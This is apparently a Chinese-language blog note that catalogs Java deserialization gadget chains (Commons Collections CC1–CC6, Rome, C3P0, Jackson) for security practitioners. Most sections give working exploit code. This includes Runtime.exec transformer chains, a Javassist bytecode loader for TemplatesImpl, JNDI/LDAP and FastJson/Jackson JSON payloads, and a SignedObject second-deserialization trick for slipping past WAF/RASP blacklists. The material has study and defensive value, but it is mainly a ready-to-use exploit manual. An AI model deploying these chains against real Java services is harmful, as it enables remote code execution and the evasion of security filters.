JAVA反序列化利用链完整梳理笔记

导读: 本文档是对 Java 反序列化主流利用链(Commons Collections、Rome、C3P0、Jackson等)的深度梳理与重构。去除了原 PDF 杂乱的行号与排版问题,提取核心调用流(Gadget Chains)和 EXP 逻辑,适合网安人员作为实战和复习的参考手册。

[TOC]

一、 Commons Collections 1 (CC1)

  • JDK版本限制: jdk8u65 及以下(后续版本修改了 AnnotationInvocationHandler 的逻辑导致失效)
  • 利用依赖: commons-collections:3.2.1

CC1 存在两个经典入口点,分别是基于 TransformedMapLazyMap

1. 基于 TransformedMap 的入口

入口触发: AnnotationInvocationHandler.readObject()

调用链 (Gadget Chain):

  1. AnnotationInvocationHandler.readObject()
  2. AbstractInputCheckedMapDecorator.MapEntry.setValue()
  3. TransformedMap.checkSetValue()
  4. ChainedTransformer.transform()
  5. InvokerTransformer.transform()
  6. Method.invoke("Runtime.exec", "calc")

核心 EXP 代码:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", 1);
Map<Object, Object> decorated = TransformedMap.decorate(map, null, chainedTransformer);

Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorated);

// 将 o 进行序列化即可触发

2. 基于 LazyMap 的入口

入口触发: AnnotationInvocationHandler.invoke()

相比于 TransformedMap 在修改值时触发,LazyMap 是在调用 get() 获取不到 key 时触发 factory.transform(key)。通过动态代理机制,AnnotationInvocationHandler.invoke() 可以劫持方法调用并触发 get()

核心 EXP 代码:

// ... 前期准备 chainedTransformer 链的代码与上方一致 ...
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> decorated = LazyMap.decorate(map, chainedTransformer);

Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorated);
Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
Object o = constructor.newInstance(Target.class, newMap);

// 序列化 o 对象

二、 Commons Collections 6 (CC6)

  • 特性: 不受 JDK 版本限制,实战中最常用的 CC 链。
  • 利用依赖: commons-collections:3.2.1

调用链 (Gadget Chain):

  1. java.io.ObjectInputStream.readObject()
  2. java.util.HashSet.readObject() -> java.util.HashMap.put()
  3. java.util.HashMap.hash()
  4. org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
  5. org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
  6. org.apache.commons.collections.map.LazyMap.get()
  7. org.apache.commons.collections.functors.ChainedTransformer.transform() ... (后续调用 Runtime.exec)

原理解析: 前端触发点使用了所有环境都有的 HashMap。在 HashMap 反序列化恢复数据计算哈希时,调用 TiedMapEntry.hashCode(),其内部会调用 getValue() 进而触发 LazyMap.get()

核心 EXP 代码:

// ... 构造 chainedTransformer ...
Map<Object, Object> map = new HashMap<>();
// 先用 ConstantTransformer(1) 占位,防止在本地 put 时误触发命令执行
Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, null);
map.remove(null); // 清除本地 put 时产生的残留数据

// 利用反射将真正的恶意 ChainedTransformer 塞进 lazymap 的 factory 中
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap, chainedTransformer);

// 序列化 hashMap

三、 Commons Collections 3 (CC3)

CC3 不再直接使用 InvokerTransformer 执行反射方法,而是引入了 TemplatesImpl 动态加载字节码的机制。这在过滤了特定的 Runtime.exec 时非常有效。 触发点在于调用 templates.getOutputProperties()templates.newTransformer()

动态加载字节码生成 (Javassist):

ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass maliciousClass = classPool.makeClass("evil");
maliciousClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
CtConstructor constructor = maliciousClass.makeClassInitializer();
constructor.insertBefore("Runtime.getRuntime().exec(\"calc\");");
byte[] classBytes = maliciousClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "Test");
Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{classBytes});
Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

配合 TrAXFilter 和 InstantiateTransformer 触发: TrAXFilter 构造中包含了 templates.newTransformer()

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 接着像 CC1/CC6 一样挂载到 LazyMap 上即可

四、 Commons Collections 4 (CC4)

  • 利用依赖: commons-collections4:4.0 (注意是 4 系列版本)

CC4 使用了 CC3 的前半部分(TemplatesImpl),但在链中段使用 TransformingComparator.compare() 替代了 LazyMap.get() 来触发 transform()。前端使用 PriorityQueue 触发。

调用链 (Gadget Chain):

  1. PriorityQueue.readObject()
  2. heapify() -> siftDownUsingComparator()
  3. TransformingComparator.compare()
  4. ChainedTransformer.transform()

核心 EXP 代码:

// templates 对象准备同 CC3...
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);

Field transformer = TransformingComparator.class.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator, chainedTransformer);
// 序列化 priorityQueue

五、 Commons Collections 2 (CC2)

  • 利用依赖: commons-collections4:4.0

CC2 与 CC4 类似,但它直接使用 InvokerTransformer 来调用 TemplatesImpl.newTransformer(),省去了 ChainedTransformer 的构造。

核心 EXP 代码:

// templates 对象准备同 CC3...
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates); // 必须把 templates 塞进去作为 compare 的对象
priorityQueue.add(2);

Field transformer = TransformingComparator.class.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator, invokerTransformer);
// 序列化 priorityQueue

六、 Commons Collections 5 (CC5)

  • 利用依赖: 回归老版本 commons-collections

使用了 JMX 中的 BadAttributeValueExpException 作为入口类。

调用链 (Gadget Chain):

  1. BadAttributeValueExpException.readObject()
  2. TiedMapEntry.toString() -> getKey() + "=" + getValue()
  3. TiedMapEntry.getValue()
  4. LazyMap.get()
  5. ChainedTransformer.transform()

核心 EXP 代码:

// chainedTransformer 准备同 CC1...
Map<Object, Object> map = new HashMap<>();
Map<Object, Object> lazymap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, tiedMapEntry);

// 序列化 badAttributeValueExpException

七、 Rome反序列化

Rome 是一个用于处理 XML/RSS 数据的库。它的反序列化可以巧妙触发 getter 方法,从而连接到 TemplatesImpl

  • 利用依赖: rome:1.0, javassist:3.21.0-GA

1. HashCode + TemplatesImpl 链

调用逻辑: HashMap.readObject() -> EqualsBean.beanHashCode() -> ToStringBean.toString() -> TemplatesImpl.getOutputProperties()

核心 EXP 代码:

// templates 对象准备同 CC3...
ToStringBean toStringBean = new ToStringBean(Templates.class, templates); // 这里先用一个安全的类占位
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

HashMap<Object, Object> map = new HashMap<>();
map.put(equalsBean, "1");

// 反射将 toStringBean 的 _obj 替换为真实的恶意 templates 对象
Field aa = toStringBean.getClass().getDeclaredField("_obj");
aa.setAccessible(true);
aa.set(toStringBean, templates);

// 序列化 map

2. JdbcRowSetImpl 链 (JNDI 注入)

在链尾调用 getter 方法时,如果调用到 JdbcRowSetImpl.getDatabaseMetaData(),其内部会触发 connect(),进而引发 JNDI 注入。

核心 EXP 代码:

JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1230/ExportObject"); // 恶意 JNDI 链接

ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, "123");
// 序列化 hashMap

3. BadAttributeValueExpException 链

利用 BadAttributeValueExpException.readObject() 直接调用 ToStringBean.toString()

八、 C3P0连接池反序列化

C3P0 实现了数据源和 JNDI 绑定,支持加载远程或本地类的漏洞利用。

  • 利用依赖: com.mchange:c3p0:0.9.5.2

1. URLClassLoader 链

调用链: PoolBackedDataSourceBase.readObject() -> ReferenceIndirector.getObject() -> ReferenceableUtils.referenceToObject() -> URLClassLoader 利用 PoolSource 构造指定的 classNameurl,使反序列化时通过 URLClassLoader 去远程加载恶意类。

2. JNDI 注入

JndiRefForwardingDataSource.dereference() 中会直接调用 ctx.lookup(jndiName)。 在 FastJson 中常作为 Payload:

{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource", "jndiName":"ldap://127.0.0.1:1230/remoteObject", "LoginTimeout":"1"}

3. 不出网利用 (BeanFactory + EL表达式)

如果目标不出网(无法加载远程类),可以通过指定 classFactory 为本地已有的 BeanFactory,结合 javax.el.ELProcessor 执行本地 EL 表达式命令。

核心配置 (PoolSource 中的 getReference 逻辑):

ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "sentiment=eval"));
ref.add(new StringRefAddr("sentiment", "Runtime.getRuntime().exec(\"calc\")"));
return ref;

九、 JackSon反序列化

Jackson 在处理多态反序列化时(特别是配置不当的情况下),会自动调用属性所属类的无参构造函数和 Setter 方法,甚至特定条件下的 Getter 方法。

漏洞前置条件:

  1. 调用了 ObjectMapper.enableDefaultTyping() 或存在类似配置。
  2. 对要反序列化的类的属性使用了 @JsonTypeInfo 注解并指定了类名标识。

1. TemplatesImpl 利用链 (CVE-2017-7525)

如果在 JSON 载荷中指定对象类型为 TemplatesImpl,并在 JSON 字段中传入了 transletBytecodes (字节码),Jackson 会调用它的 setter 并最终导致命令执行。 (注:高版本 Jackson 中因无法通过 JSON 给私有且无 setter 的 _tfactory 赋值,此链在较新版本中受限)

JSON Payload 示例:

{
  "object": [
    "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    {
      "transletBytecodes": ["<Base64编码的恶意字节码>"],
      "transletName": "evil",
      "outputProperties": {}
    }
  ]
}

2. ClassPathXmlApplicationContext (CVE-2017-17485)

结合 Spring 组件,通过指定反序列化类型为 ClassPathXmlApplicationContext,从而引入恶意的 Spring XML 配置(常用于触发 SpEL 表达式注入)。

JSON Payload 示例:

["org.springframework.context.support.ClassPathXmlApplicationContext", "[http://127.0.0.1:9000/spel.xml](http://127.0.0.1:9000/spel.xml)"]

十、 进阶:toString原生与SignObject二次反序列化

1. 基于 POJONode 的 toString 原生反序列化

Jackson 中的 POJONode.toString() 可以直接触发该对象内部包裹对象的任意 Getter 方法。 调用链: BadAttributeValueExpException.readObject() -> POJONode.toString() -> BaseJsonNode.toString() -> InternalNodeMapper.nodeToString() -> TemplatesImpl.getOutputProperties()

2. SignObject 二次反序列化 bypass

有时候一些类被加入了 WAF/RASP 的反序列化黑名单(比如在第一层 readObject 时拦截)。java.security.SignedObject 包含另一个 Serializable 对象。 它的 getObject() 方法内部会再次创建一个 ObjectInputStream 执行第二次 readObject()

二次反序列化核心代码 (SignedObject 源码):

public Object getObject() throws IOException, ClassNotFoundException {
    ByteArrayInputStream b = new ByteArrayInputStream(this.content);
    ObjectInput a = new ObjectInputStream(b);
    Object obj = a.readObject(); // 第二次触发反序列化!
    b.close();
    a.close();
    return obj;
}

我们可以利用 Rome 或 CC 链等能触发任意 getter 方法的逻辑(例如 ToStringBean),去触发 SignedObject.getObject(),从而在系统内部“隐蔽”地发起第二次反序列化,绕过外层的安全检查。

标签: none

添加新评论